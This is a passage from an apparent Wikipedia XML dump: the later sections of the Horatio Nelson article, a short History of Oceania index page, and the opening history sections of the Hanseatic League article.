In 1798, Nelson was once again responsible for a great victory over the French. The [[Battle of the Nile]] (also known as the Battle of Aboukir Bay) took place on [[1 August]] [[1798]] and, as a result, Napoleon's ambition to take the war to the British in [[India]] came to an end. The forces [[Napoleon]] had brought to [[Egypt]] were stranded. Napoleon attempted to march north along the [[Mediterranean Sea|Mediterranean]] coast but was defeated at the [[Siege of Acre (1799)|Siege of Acre]] by Captain Sir [[Sidney Smith (admiral)|Sidney Smith]]. Napoleon then left his army and sailed back to France, evading detection by British ships.

[[Image:Luny Thomas Battle Of The Nile August 1st 1798 At 10pm.jpg|thumb|250px|left|The [[Battle of the Nile]], painted by Thomas Luny.]]

For the spectacular victory of the Nile, Nelson was granted the title of Baron Nelson of the Nile (Nelson felt cheated that he was not awarded a more prestigious title; [[John Jervis, 1st Earl of St Vincent|Sir John Jervis]] had been made Earl of St Vincent for his part in that battle, but the British Government insisted that an officer who was not the commander-in-chief, could not be raised to any peerage higher than a barony. Nelson felt throughout his life that his accomplishments were not fully rewarded by the British government, a fact he ascribed to his more humble birth and lack of political connections when compared to Sir John Jervis, or The Duke of Wellington).
[[Image:EmmaHamilton.jpeg|thumb|right|250px|[[Emma Hamilton]], in a portrait by [[George Romney (painter)|George Romney]], at the height of her beauty in the 1780s]]

Not content to rest on his laurels, he then rescued the Neapolitan royal family from a French invasion in December. During this time, he fell in love with [[Emma Hamilton]]&amp;mdash;the young wife of the elderly British ambassador to [[Naples]]. She became his mistress, returning to England to live openly with him, and eventually they had a daughter, Horatia. Some have suggested that a head wound he received at Abukir Bay was partially responsible for that conduct, and for the way he conducted the Neapolitan campaign&amp;mdash;due simultaneously to his English hatred of [[Jacobin]]s and his status as a Neapolitan royalist (he had been made Duke of [[Bronte, Sicily|Bronte]] in Sicily by the King of Naples in 1799)&amp;mdash;now considered something of a disgrace to his name. He was accused of allowing the monarchists to kill prisoners contrary to the laws of war.

In 1799, he was promoted to [[Admiral (United Kingdom)|Rear Admiral of the Red]], the seventh highest rank in the Royal Navy. He was then assigned to the new [[second-rate]] [[HMS Foudroyant (1798)|''Foudroyant'']]. In July, he aided [[Admiral Ushakov]] with the reconquest of [[Naples]], and was made Duke of [[Bronte, Sicily|Bronte]] by the Neapolitan king. His personal problems, and upper-level disappointment at his professional conduct caused him to be recalled to England, but public knowledge of his affection for Lady Hamilton eventually induced the Admiralty to send him back to sea if only to get him away from her.

On [[January 1|1 January]] [[1801]], he was promoted to [[Admiral (United Kingdom)|Vice Admiral of the Blue]] (the sixth highest rank). Within a few months he took part in the [[Battle of Copenhagen]] ([[2 April]] [[1801]]) which was fought in order to break up the armed neutrality of [[Denmark]], [[Sweden]] and [[Russia]]. During the battle, Nelson was ordered to cease the battle by his commander Sir [[Hyde Parker]] who believed that the Danish fire was too effective. In a famous incident, however, Nelson claimed he could not see the signal flags conveying the order, pointedly raising his telescope to his blind eye. (Though firmly part of the Nelson mythology, some biographers think this account may be apocryphal.)  His action was approved in retrospect, and in May, he became commander-in-chief in the [[Baltic Sea]], and was awarded the title of Viscount Nelson by the British crown.

Napoleon was amassing forces to invade England, however, and Nelson was soon placed in charge of defending the [[English Channel]] to prevent this. However, on [[22 October]] an armistice was signed between the British and the French, and Nelson&amp;mdash;in poor health again&amp;mdash;retired to England where he stayed with his friends, [[William Hamilton (diplomat)|Sir William]] and Lady Hamilton.

The three embarked on a tour of England and Wales, culminating in a stay in [[Birmingham]], during which they visited [[Matthew Boulton]] on his sick bed at [[Soho House]], and toured his [[Soho Manufactory]].

===The Battle of Trafalgar - death and burial===
[[Image:Trafalgar2.jpg|thumb|250px|The [[Battle of Trafalgar]], painted by [[Nicholas Pocock]].]]
[[Image:Mort nelson.jpg|thumb|250px|Nelson is shot on the [[quarterdeck]], painted by [[Denis Dighton]], c. 1825.]]

The [[Peace of Amiens]] was not to last long though, and Nelson soon returned to duty. He was appointed commander-in-chief of the Mediterranean, and assigned to [[HMS Victory|HMS ''Victory'']] in May [[1803]]. He joined the blockade of [[Toulon, France]], and would not again set foot on dry land for more than two years. Nelson was promoted to [[Admiral (United Kingdom)|Vice Admiral of the White]] (the fifth highest rank) while he was still at sea, on [[23 April]] [[1804]]. The French fleet slipped out of Toulon in early 1805 and headed for the West Indies (see [[battle of Cape Finisterre (1805)]] for a summary of this campaign). A stern chase failed to turn them up and Nelson's health forced him to retire to [[Merton (historic parish)|Merton]] in England.

Within two months, his ease ended. On [[13 September]] [[1805]], he was called upon to oppose the French and Spanish fleets, which had managed to join up and take refuge in the harbour of [[Cádiz]], [[Spain]].

On [[21 October]] [[1805]], Nelson engaged in his final battle, the [[Battle of Trafalgar]]. Napoleon Bonaparte had been massing forces once again for the invasion of the British Isles. However, he had already decided that his navy was not adequate to secure the Channel for the invasion barges and had started moving his troops away for a campaign elsewhere in Europe. On the 19th, the French and Spanish fleet left Cádiz, probably because [[Pierre-Charles Villeneuve]], the French commander, had heard that he was to be replaced by another admiral. Nelson, with twenty-seven ships, engaged the thirty-three opposing ships.

Nelson's last dispatch, written on the 21st, read:

&lt;blockquote&gt;At daylight saw the Enemy's Combined Fleet from East to E.S.E.; bore away; made the signal for Order of Sailing, and to Prepare for Battle; the Enemy with their heads to the Southward: at seven the Enemy wearing in succession. May the Great God, whom I worship, grant to my Country, and for the benefit of Europe in general, a great and glorious Victory; and may no misconduct in any one tarnish it; and may humanity after Victory be the predominant feature in the British Fleet. For myself, individually, I commit my life to Him who made me, and may his blessing light upon my endeavours for serving my Country faithfully. To Him I resign myself and the just cause which is entrusted to me to defend. Amen. Amen.&lt;/blockquote&gt;

[[Image:Turner, The Battle of Trafalgar (1822).jpg|thumb|left|200px|[[The Battle of Trafalgar (painting)|''The Battle of Trafalgar'']] by [[J. M. W. Turner]] (oil on canvas, 1822&amp;ndash;1824) shows the last three letters of the famous signal, &quot;[[England expects that every man will do his duty]]&quot; flying from [[HMS Victory|''Victory'']].]]

As the two fleets moved towards engagement, he then ran up a thirty-one flag signal to the rest of the fleet which spelled out the famous phrase &quot;[[England expects that every man will do his duty]]&quot;. The original signal that Nelson wished to make to the fleet was ''England confides that every man will do his duty'' (meaning 'is confident that they will'). The signal officer asked Nelson if he could substitute the word 'expects' for 'confides' as 'expects' was included in the [[Telegraphy|telegraph]]ic code devised by [[Home Riggs Popham|Sir Home Popham]] whereas 'confides' would have to be spelled letter by letter. Nelson agreed and the signal was run up ''Victory''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[mizzenmast]].
[[Image:Battle of Trafalgar Poster 1805.jpg|thumb|right|Detail from an 1805 poster commemorating the Battle of Trafalgar.]]

After crippling the French flagship [[French ship Bucentaure (1804)|''Bucentaure'']], ''Victory'' moved on to the [[French ship Redoutable (1791)|''Redoutable'']]. The two ships entangled each other, at which point snipers in the fighting tops of ''Redoutable'' were able to pour fire down onto the deck of ''Victory''. Nelson was one of those hit: a bullet entered his shoulder, pierced his lung, and came to rest at the base of his spine. Nelson retained consciousness for four hours, but died soon after the battle was concluded with a British victory.(See [[Horatio Nelson, 1st Viscount Nelson#Last words]].)

After the battle ''Victory'' was then towed to [[Gibraltar]], with Nelson's body on board preserved in a barrel of [[brandy]] (see [[Horatio Nelson, 1st Viscount Nelson#&quot;Tapping the Admiral&quot;]]). Upon his body's arrival in [[London]], Nelson was given a [[state funeral]] (one of only five non-royal Britons to receive the honour - others are [[Arthur Wellesley]] and [[Churchill]]) and entombment in [[St. Paul's Cathedral]]. He was laid to rest in a wooden coffin made from the mast of ''L'Orient'' which had been salvaged after the Battle of the Nile, within a [[sarcophagus]] originally carved for [[Thomas Cardinal Wolsey|Cardinal Wolsey]] (when Wolsey fell from favour, it was confiscated by [[Henry VIII of England|Henry VIII]] and was still lying around in royal collections in [[1805]]!).

==Legacy==
[[Image:The Ball which mortally wounded the LAMENTED NELSON - Project Gutenberg eText 15233.png|thumbnail|right|150px|The bullet that killed Nelson.]]

Nelson was noted for his considerable ability to inspire and bring out the best in his men, to the point that it gained a name: &quot;The Nelson Touch&quot;. Famous even while alive, after his death he was lionized like almost no other military figure in British history (his only peers are the [[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]] and Nelson's contemporary, the [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]]). Most military historians believe Nelson's ability to inspire officers of the highest rank and seamen of the lowest was central to his many victories, as was his unequaled ability to both strategically plan his campaigns and tactically shift his forces in the midst of battle. He may have been the greatest field commander in history. Certainly, he stands as the greatest warrior afloat. 

It must also be said that his &quot;Nelson touch&quot; also worked with non-seamen; he was beloved in England by virtually everyone. (The only people not affected by him were those offended by his affair with Lady Hamilton!) Now as then, he is a popular hero, included in the top 10 of the ''[[100 Greatest Britons]]'' poll sponsored by the [[BBC]] and voted for by the public, and commemorated in the extensive [[Trafalgar 200]] celebrations in [[2005]], including the [[International Fleet Review]]. Even today phrases such as &quot;[[England expects]]&quot; and [[111 (number)#In other fields|&quot;nelson&quot; (meaning &quot;111&quot;)]] remain closely associated with English sporting teams.

===Monuments to Nelson===
The monumental [[Nelson's Column]] and the surrounding [[Trafalgar Square]] are notable locations in [[London]] to this day, and Nelson was buried in [[St. Paul's Cathedral]]. The first large monument to Nelson was a 43.5m tall pillar on [[Glasgow Green]] erected less than year after his death in [[1806]]. [[Nelson's Monument]] was later constructed atop [[Calton Hill, Edinburgh|Calton Hill]] in [[Edinburgh]]. The first monument funded by popular subscription, sculpted by [[Richard Westmacott]], was erected in Birmingham in [[1809]]. Westmacott also sculpted memorials in [[Liverpool]] and [[Barbados]]. A Monument in [[Great Yarmouth]] to Nelson was started before his death but only completed in [[1819]]. This is sometimes known as the Britannia monument as it is topped by that martial female rather than a statue of Nelson; a statue of Nelson can however be found in the grounds of [[Norwich Cathedral]] alongside the other Napoleonic hero, the [[Duke of Wellington]], near the school he attended.

In [[Montreal]] there is a monument to Nelson erected in [[1809]] in [[Place Jacques-Cartier]] which was a market place at the time. It has carved scenes from Nelson's career around the base and the statue on top was claimed to be the oldest public statue of Nelson in the world. It was removed for several years due to excessive weathering but has been replaced after restoration.

There is also the [[Nelson Memorial, Swarland|Nelson memorial]] in [[Swarland]], [[Northumberland]] which was raised as a private memorial of Nelson by his friend and sometime agent, Alexander Davison. [[Nelson's Pillar]], a monument to Nelson in [[Dublin]] was destroyed by an bomb planted by former [[Irish Republican Army|IRA]] men in [[1966]]. The city of [[Nelson, New Zealand]] bears his name as well as [[Nelson Island (British Columbia)| Nelson Island]] on the [[Sunshine Coast, British Columbia]], Canada.

One of the most unique monuments was constructed on Salisbury Plain, within cannon shot of Stonehenge, on land then owned by the Marquess of Queensbury.  The monument consists of a series of clumps of trees in otherwise arable farmland.  Known as the &quot;Nile Clumps&quot; they have been arranged to represent the positioning of French and British ships at the [[Battle of the Nile]], considered as Nelson's greatest tactical victory.  Some clumps still survive, and work is underway to replant some of those that have &quot;sunk&quot;.  They stand on land owned by the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]], forming part of the [[Stonehenge Historic Landscape]] estate.

===Nelson and the Royal Navy===
[[Image:Nelson On His Column - Trafalgar Square - London - 240404.jpg|thumb|150px|right|[[Nelson's Column]] in [[Trafalgar Square]].]]
''Victory'' is still kept on active commission in honour of Nelson &amp;mdash; it is the flagship of the [[Second Sea Lord]], and is the oldest commissioned ship of the Royal Navy. She can be found in Number 2 Dry Dock of the [[Royal Navy Museum]] at the [[Portsmouth Naval Base]], in [[Portsmouth]], [[England]].

Two Royal Navy battleships have been named [[HMS Nelson|HMS ''Nelson'']] in his honour. The Royal Navy celebrates Nelson every [[21 October]] by holding Trafalgar Day dinners and toasting ''&quot;The Immortal Memory&quot;'' of Nelson.

The bullet that killed Nelson is permanently on display in the Grand Vestibule of [[Windsor Castle]]. The uniform that he wore during the battle, with the fatal bullet hole still visible, can be seen at the [[National Maritime Museum]] in Greenwich. A lock of Nelson's hair was given to the [[Imperial Japanese Navy]] from the [[Royal Navy]] after the [[Russo-Japanese War]] to commemorate the victory at the [[Battle of Tsushima]]. It is still on display at ''Kyouiku Sankoukan'', a public museum maintained by the [[Japan Self-Defense Forces]].

==Nelson's descendants==
Nelson had no legitimate children; his illegitimate daughter by Lady Hamilton, Horatia, subsequently married the Rev. Philip Ward and died in [[1881]]. She and Rev. Ward had nine children: Horatio Nelson Ward (born [[8 December]] [[1822]]); Eleanor Phillipa Ward (born April [[1824]]); Marmaduke Philip Smyth Ward (born [[27 May]] [[1825]]); John James Stephen Ward ([[13 February]] [[1827]]-[[1829]]); Nelson Ward (born [[8 May]] [[1828]]); William George Ward (born [[8 April]] [[1830]]); Edmund Ward ([[10 July]], [[1832]]-[[1833]]); Horatio Ward (born [[24 November]], [[1833]]), Philip Ward (born May [[1834]]); Caroline Ward (born January [[1836]]).

Because Lord Nelson had no legitimate heirs, the Viscountcy and 1798 Barony of Nelson (both &quot;of the Nile and of Burnham Thorpe in the County of Norfolk&quot;) became extinct upon his death. However, the 1801 Barony of Nelson (&quot;of the Nile and of Hilborough in the County of Norfolk&quot;) passed by a special remainder to Lord Nelson's brother, [[William Nelson, 1st Earl Nelson|The Revd William Nelson]]. William was also created [[Earl Nelson]] in recognition of his brother's services, which title is still extant.

==Literary influences==
Although Nelson's exploits are often claimed to have provided inspiration for fictional characters such as [[Jack Aubrey]], [[Horatio Hornblower]] and [[Honor Harrington]], a close reading of the books does not bear this out. It is more likely Nelson's fame makes him the only Naval figure of the time that reviewers recall. Nelson appears, unnamed but recognizable, in [[Susan Sontag]]'s novel [[The Volcano Lover: A Romance]], which centers around [[Lady Emma Hamilton]]'s affair with him.
Nelson himself appears as a ghost, in Amber Benson's and Christopher Golden's [[Ghosts of Albion]].  Barry Unsworth's Losing Nelson centers on the Nelson's actions in Naples in 1799.

==Last words==
Nelson's final words (as related by Victory's Surgeon [[William Beatty]], based on the accounts of those who were with Nelson when he died) were &quot;Thank God I have done my duty&quot;. According to Beatty, he repeated these words several times until he became unable to speak.

In his dying hours, Nelson was also attended by his chaplain, Alexander Scott, his steward, Chevalier and Walter Burke, the [[purser]], whose accounts have been available for modern biographers of Nelson. In those accounts, Nelson's last words were &quot;Drink, drink. Fan, fan. Rub, rub.&quot;. This was a request to alleviate his symptoms of thirst, heat and the pains of his wounds (Pocock, Horatio Nelson, 1987, p.331).

It is a common misconception that Nelson's last words were &quot;Kiss me, Hardy&quot;, spoken to the captain of HMS ''Victory'', [[Thomas Hardy (naval officer)|Thomas Hardy]]. Nelson did, in fact, say this to Hardy a short time before his death, but they were not his last words, and Hardy was not present at his death (having been called back on deck). Some have speculated that Nelson actually said &quot;Kismet, Hardy&quot;, but this is impossible, since the word ''[[kismet]]'' did not enter the English language until much later.

==&quot;Tapping the Admiral&quot;==
According to a [[legend]], naval [[rum]] rather than brandy was used to preserve his body in a barrel until it was returned to England. It is claimed that his crew had drunk half of the rum from the barrel by the time they reached London; the crew were supposed to have sucked out the rum using thin straws. However, this legend is unlikely, due to the great respect that the crew had for Nelson, and because his body was guarded night and day by a marine. Nevertheless, this legend has given rise to the slang term &quot;tapping the Admiral&quot;, meaning illicit drinking, and may be related to the nickname given to Naval rum rations later, &quot;Nelson's Blood&quot; (although this may possibly be a deliberate echo of the [[Eucharist|Communion]] ritual).

==Titles==
Lord Nelson's full title, at the time of his death, was ''Vice Admiral of the White The Right Honourable Horatio, Viscount Nelson, [[Order of the Bath|Knight of the Most Honourable Order of the Bath]]''. In addition, he was Baron Nelson, of the Nile and of Burnham Thorpe in the County of Norfolk, Baron Nelson, of the Nile and of Hillborough in the County of Norfolk, Duke of [[Bronte, Sicily|Bronte]] in the nobility of the [[Kingdom of the Two Sicilies]], Knight of the Grand Cross of the Order of St Ferdinand and of Merit and a Knight of the [[Ottoman Empire]]'s Order of the Crescent, Knight Grand Commander of the Order of St Joachim, Colonel of the Marines, and Freeman of Norwich, Bath, Yarmouth, London, Salisbury and Exeter.

[[Image:Lady Nelson - Project Gutenberg eText 16914.jpg|thumb|Lady Nelson]]
==References==
*{{1911}}
* {{cite book | last = Coleman | first =  Terry | title = The Nelson Touch: The life and legend | publisher = Oxford University Press | year = 2004 | id = ISBN 0195173228 }}
* {{cite book | last = Hayward | first =  Joel S. A. | title = For God and Glory: Lord Nelson and His Way of War | publisher =  | year = 2003 }}
* {{cite book | last = Knight | first =  Rodger | title = The Pursuit of Victory: The Life and Achievement of Horatio Nelson | publisher = Basic Books | year = 2005 }}
* {{cite book | last = Vincent | first =  Edgar | title = Nelson: Love &amp; Fame | publisher = Basic Books | year = 2003 }}
* {{cite book | last = Hibbert | first =  Christopher | title = Nelson A Personal History.  | publisher = Basic Books | year = 1994 }}
* {{cite book | last = Pocock | first =  Tom | title = Horatio Nelson | publisher = The Bodley Head | location = London | year = 1987 | id = ISBN 0370311248 }}
* {{cite book | authorlink = William Beatty | last = Beatty | first =  William | title = The Death of Lord Nelson | publisher =  | year = 1807 | url = http://www.lulu.com/content/175902 }}

==Further reading==
*Michener, James, A. 1989. ''Caribbean''. Secker &amp; Warburg. London. ISBN 0-436-27971-1 (Especially Chap. VIII. &quot;A Wedding on Nevis&quot;, pp. 289-318). Some of it is fictionalised, &quot;...but everything said about Nelson and his frantic search for a wealthy life is based on fact.&quot; 
*Pocock, Tom 1987, ''Horatio Nelson''. The Bodley Head. London. ISBN 0-370-31124-8
*Lambert, Andrew ''Nelson - Britannia's God of War''. Faber and Faber. London. ISBN 0-571-21222-0 Good new general biography; particularly helpful final two chapters on reactions to Nelson after his death, down to the current day.
*Sugden, John ''Nelson - A Dream of Glory''. Jonathan Cape. London. ISBN 0-224-06097-X Outstanding and extremely thorough account of Nelson's life as far as the battle of St. Vincent.
*''[[National Geographic Society|National Geographic]]'' magazine for [[October]], [[2005]], has an article covering the Battle of Trafalgar, in recognition of its 200th anniversary.

==External links==
{{wikiquote}}
{{commons|Horatio Nelson}}
*[http://www.badley.info/history/Nelson-Horatio-Great-Britain.biog.html Nelson Chronology World History Database]
*[http://www.liverpoolmuseums.org.uk/walker/collections/19c/west.asp 'The Death of Nelson' (1806)] by [[Benjamin West]]
*http://www.aboutnelson.co.uk/
*[http://www.nelson-society.org.uk The Nelson Society]
*[http://www.hmsvictory.ngfl.gov.uk Life onboard HMS ''Victory'': an educational resource]
*[http://www.worldwidewords.org/qa/qa-tap1.htm Tapping the Admiral] from [[World Wide Words]].
*{{gutenberg author|id=Horatio_Nelson|name=Horatio Nelson}}
*[http://www.gutenberg.org/etext/15233 The Death of Lord Nelson], 1807, by William Beatty from [[Project Gutenberg]] (also available in print from [http://www.lulu.com/content/175902 LuLu.com])
*[http://www.indepthinfo.com/band-of-brothers/lord-nelson.shtml Band of Brothers In History and Literature]
*[http://www.trafalgar200th.com A Tribute to Nelson's Navy]
*[http://www.oxonianreview.org/issues/5-1/5-1nicholls.html An essay on Nelson in The Oxonian Review of Books]

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{{succession box three to two | before=New Creation | title1=[[Earl Nelson|Viscount Nelson]] | years1= | after1=Extinct | title2=[[Earl Nelson|Baron Nelson]] | years2= | after2=[[William Nelson, 1st Earl Nelson|William Nelson]] | title3=[[Earl Nelson|Baron Nelson]] | years3= }}
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{{featured article}}

[[Category:1758 births|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:1805 deaths|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:Viscounts in the Peerage of the United Kingdom|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:Royal Navy admirals|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:Napoleonic wars British naval commanders|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:British sailors|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:Amputees|Nelson, Horatio Nelson, 1st Viscount]]
[[Category:Natives of Norfolk|Nelson]]
[[Category:Knights of the Bath|Nelson]]

[[cs:Horatio Viscount Nelson]]
[[da:Horatio Nelson]]
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[[eo:Horatio NELSON]]
[[es:Horacio Nelson]]
[[fi:Horatio Nelson]]
[[fr:Horatio Nelson]]
[[he:הוריישו נלסון]]
[[hr:Horatio Nelson]]
[[it:Horatio Nelson]]
[[ja:ホレーショ・ネルソン]]
[[nl:Horatio Nelson]]
[[no:Horatio Nelson]]
[[pl:Horatio Nelson]]
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[[uk:Нельсон Гораціо]]
[[zh:霍雷肖·纳尔逊]]</text>
    </revision>
  </page>
  <page>
    <title>History of Oceania</title>
    <id>14104</id>
    <revision>
      <id>30479062</id>
      <timestamp>2005-12-07T16:07:14Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|History of}}</comment>
      <text xml:space="preserve">*[[History of Australia]]
*[[History of New Zealand]]
*[[History of the Pacific Islands]]

See also [[history]], [[history of present-day nations and states]].

{{Oceania in topic|History of}}

[[Category:Oceania]]
[[Category:History of Oceania| ]]

[[es:Historia de Oceanía]]</text>
    </revision>
  </page>
  <page>
    <title>Hanseatic League</title>
    <id>14105</id>
    <revision>
      <id>41623200</id>
      <timestamp>2006-02-28T16:19:53Z</timestamp>
      <contributor>
        <username>Kresspahl</username>
        <id>259996</id>
      </contributor>
      <minor />
      <comment>/* Wendish and Pomeranian Circle */</comment>
      <text xml:space="preserve">[[Image:Carta Marina.jpeg|thumb|right|300px|[[Carta marina]] of [[Baltic Sea]] (1539)]]
The '''Hanseatic League''' ([[German language|German]]: ''die Hanse'', [[Dutch language|Dutch]]: ''de Hanze'', [[Polish language|Polish]]: ''Hanza'', [[Swedish language|Swedish]]: ''Hansan'') consisted of an [[military alliance|alliance]] of [[trade|trading]] cities that established and maintained a trade [[monopoly]] over the [[Baltic Sea]] and most of [[Northern Europe]] for a time in the later [[Middle Ages]] and the Early Modern period, between the [[13th century|13th]] and [[17th century | 17th centuries]].  

==History==
Historians generally trace the origins of the League to the foundation of the town of [[Lübeck]], established in [[1158]]/[[1159]] after the capture of the area by [[Henry the Lion]] of [[Saxony]]. Exploratory trading adventures, [[raid]]s and [[piracy]] had occurred earlier throughout the Baltic — the [[sailor]]s of [[Gotland]] sailed up rivers as far away as [[Novgorod]], for example — but the scale of international [[economic system|economy]] in the Baltic area remained insignificant before the growth of the Hanseatic League. German cities achieved domination of trade in the Baltic with striking speed over the next century, and Lübeck became a central node in all the sea trade that linked the areas around the [[North Sea]] and the Baltic Sea. The 15th century saw the the climax of Lübeck's hegemony. [[Visby]], one of the midwives of the Hanseatic league in 1358, declined to become a member. Visby dominated trade in the Baltic before the Hanseatic league, with its monopolistic ideology, got rid of the [[Gotland]]ic free-trade competition.

===Foundation===
[[Image:hanseatic league.JPG|right|Hanseatic League]]

Lübeck became a base for northern German [[merchant]]s from Saxony and [[Westphalia]] to spread east and north. Well before the term ''Hanse'' appeared in a document ([[1267]]), merchants in a given city began to form [[guilds]] or Hansa with the intention of trading with towns overseas, especially in the less-developed eastern Baltic area, a source of [[timber]], [[wax]], [[resin]]s, [[fur]]s, even [[rye]] and [[wheat]] brought down on [[barge]]s from the [[hinterland]] to port markets.
Visby functioned as the leading centre in the Baltic before the Hanse. For hundred years the Germans sailed under the Gotlandic flag to Novgorod. Sailing east, Visby merchants established a branch at Novgorod. To begin with the Germans used the Gotlandic Gutagard. With the influx of too many merchants the Gotlanders arranged their own trading stations for the Gemanan Petershof further up from the river.   - see a translation of the  [http://www.fordham.edu/halsall/source/1229novgorod-germans.html grant] of privileges to merchants in [[1229]]. They  helped establish key towns on the east Baltic coast - Danzig ([[Gdańsk]]) Reval ([[Tallinn]]), [[Riga]] and Dorpat ([[Tartu]]), all founded (like others on the Baltic coast) under [[Lübeck law]], which provided that they had to appeal in all legal matters to Lübeck's city council. Before the foundation of the Hanseatic league in 1358 the word Hanse was not used in the Baltic. The Gotlanders used the word ''varjag''.

Hansa societies worked to acquire special trade privileges for their members. For example, the merchants of the [[Cologne]] (Köln) Hansa contrived to convince [[Henry II of England]] to grant them (in [[1157]]) special trading privileges and market rights which freed them from all [[London]] tolls and allowed them to trade at fairs throughout [[England]]. The &quot;Queen of the Hanse&quot;, Lübeck, where traders transshipped goods between the North Sea and the Baltic, gained the Imperial privilege of becoming an [[Imperial Free City|Imperial city]] in [[1227]], the only such city east of the River [[Elbe]]. 

Lübeck, which had access to the Baltic and North Sea fishing grounds, formed an alliance in 1241 with [[Hamburg]], another trading city that controlled access to salt routes from [[Lueneburg|Lüneburg]]. The allied cities gained control over most of the [[salt-fish]] trade, especially the [[Scania Market]]; and Cologne joined them in the Diet of 1260. In [[1266]] [[Henry III of England]] granted the Lübeck and Hamburg Hansa a charter for operations in England, and the Cologne Hansa joined them in 1282 to form the most powerful Hanseatic colony in London. Much of the drive for this cooperation came from the fragmented nature of territorial government, which failed to provide security for trade. Over the next 50 years the Hanse itself emerged with formal agreements for confederation and cooperation covering the west and east trade routes. The chief city and linchpin remained Lübeck; with the first general Diet of the Hansa held there in [[1356]], the Hanseatic League acquired an official structure and could date its official founding.

===Expansion===
[[Image:Haupt_Routen_Hanse.png|350px|thumb|Main Trading Route of the Hanseatic League]]
Lübeck's location on the Baltic provided access for trade with [[Scandinavia]] and [[Russia]], putting it in direct competition with the Scandinavians who had previously controlled most of the Baltic trade routes.  A treaty with the Visby Hansa put an end to competition: through this treaty the Lübeck merchants also gained access to the inland [[Russia]]n port of Novgorod, where they built a trading post or ''Kontor''.  Other such alliances formed throughout the [[Holy Roman Empire]]. The League never became a closely-managed formal organisation. Assemblies of the Hanseatic Towns met irregularly in Lübeck for ''Hansetag'', from 1356 onwards, but many towns chose not to send representatives and decisions did not bind individual cities. Over time, the network of alliances grew to include a flexible roster of 70 to 170 cities (Braudel 1984).

The league was able to establish additional ''Kontors'' in [[Bruges]] (in present-day [[Belgium]]), [[Bergen, Norway|Bergen]] (Norway), [[Copenhagen]] (Denmark) and [[London]] (England). These trading posts became significant enclaves. The London ''Kontor'', established in 1320, stood west of [[London Bridge]] near Upper Thames Street. ([[Cannon Street station]] occupies the site [[as of 2006 | now]].) It grew significantly over time into a walled community with its own warehouses, weighhouse, church, offices and houses, reflecting the importance and scale of the activity carried on. It is first referred to as the [[Steelyard]] (''der Stahlhof'') in [[1422]]. In addition to the major Kontor, individual ports had a representative merchant and warehouse. In England these were found in [[Boston, Lincolnshire|Boston]], [[Bristol]], Bishop's Lynn (now [[King's Lynn]], the sole remaining Hanseatic warehouse in England), [[Kingston upon Hull|Hull]], [[Ipswich]], [[Norwich]], [[Great Yarmouth|Yarmouth]] and [[York]].

The primary goods for trade were timber, furs, resin (or tar), flax, honey, wheat and rye from the east to Belgium and England with cloth and increasingly manufactured goods going in the other direction. Metal ore (principally copper and iron) and herring were sent south from Sweden. 

[[Image:Tallinn &amp; Helsinki 046 - Tallinn Town Hall.jpeg|thumb|left|Town Hall of Reval (now [[Tallinn]], [[Estonia]])]]
German colonists under strict Hanse supervision built numerous Hanse towns in the Baltic like Reval (Tallinn), Riga, and Dorpat (Tartu), some of which are still filled with buildings and bear the style of their Hanseatic days. [[Livonia]] (presently [[Estonia]] and [[Latvia]]) had its own Hanseatic parliament (diet), and all of its major towns were members of the Hanseatic League.

===Zenith===
Eventually, the Hanse capital was moved to [[Danzig]] (Gdańsk) {{fact}}, which was the main port for merchandise brought up the [[Vistula]] river. Other important cities which were members of the Hanse were [[Toruń]] (Thorn), [[Elbląg]] (Elbing), [[Kaliningrad|Königsberg]], and [[Kraków]].
[[Image:Europe_gdansk_poland-pot.JPG|thumb|Old and rich port city [[Gdańsk]] (Danzig)]]
The League was fluid in nature, but its members shared some traits.  First, most of the Hanseatic League (or Hanse) cities either were founded as independent cities or gained independence through the collective bargaining power of the League.  Independence was, however, limited; it meant that the cities owed allegiance directly to the respective Emperor, without any intermediate tie to the local nobility. Another similarity was that the cities were all strategically located along trade routes.  In fact, at the height of its power in the late [[1300s]], the merchants of the Hanseatic League were able to use their economic clout (and sometimes their military might - trade routes needed protecting, and the League's ships were well-armed) to influence Imperial policy. 

The League also wielded power abroad: between [[1368]] and [[1370]], the League's ships fought against the Danes, and forced King Valdemar IV to grant the League 15 percent of the profits from Danish trade ([[Treaty of Stralsund]]) and an effective trade monopoly in Scandinavia. They also waged vigorous campaign against pirates. Between [[1392]] and [[1440]] maritime trade of the League was in danger from raids of [[Victual Brothers]] and their descendants, a mighty [[brotherhood]] of [[privateer]]s hired in [[1392]] by [[Albert of Sweden|Albrecht of Mecklenburg]] against the Danish queen [[Margaret I of Denmark|Margaret I]]. Their monopoly was broken by the [[Dutch-Hanseatic War]] ([[1438]]-[[1441]]) where the merchants of Amsterdam sought to obtain free access to the Baltic and were ultimately successful. As an essential part of protecting their investment in trade and ships, the League trained [[Pilot (harbour)|pilot]]s and erected lighthouses.

Exclusive trade routes often came at a high price. In most foreign cities, the Hanse traders were confined to certain trading areas and to their own trading posts. They were seldom, if ever, allowed to interact with the local inhabitants, except in the matter of actual negotiation. Moreover, the power of the League was envied by many, merchant and noble alike. For example, in London there was continuing pressure from the local merchants for the Hanseatic League's privileges to be revoked. This tension was exacerbated by the refusal of the League to offer reciprocal arrangements to their English counterparts. The league's privileges were reconfirmed by [[King Edward IV]] in [[1474]] despite this hostility. This was at least in part thanks to the significant financial contribution the League made during [[The Wars of the Roses]]. A century later, in [[1597]], [[Queen Elizabeth I]] expelled the League from London and the [[Steelyard]] was closed in [[1598]]. The very existence of the League and its privileges and monopolies created economic and social tensions that often crept over into rivalry between League members.

===Downfall===
The Hansa was not spared the economic crises of the late [[14th century]], but its eventual rivals were the [[Nation state|territorial states]], whether new or revived, and not just in the west: [[Poland]] triumphed over the [[Teutonic Knights]] in [[1466]]; [[Ivan III of Russia]] ended the entrepreneurial independence of Novgorod in [[1478]]. New vehicles of credit imported from [[Italy]] outpaced the Hansa economy, where silver coin changed hands rather than bills of exchange.

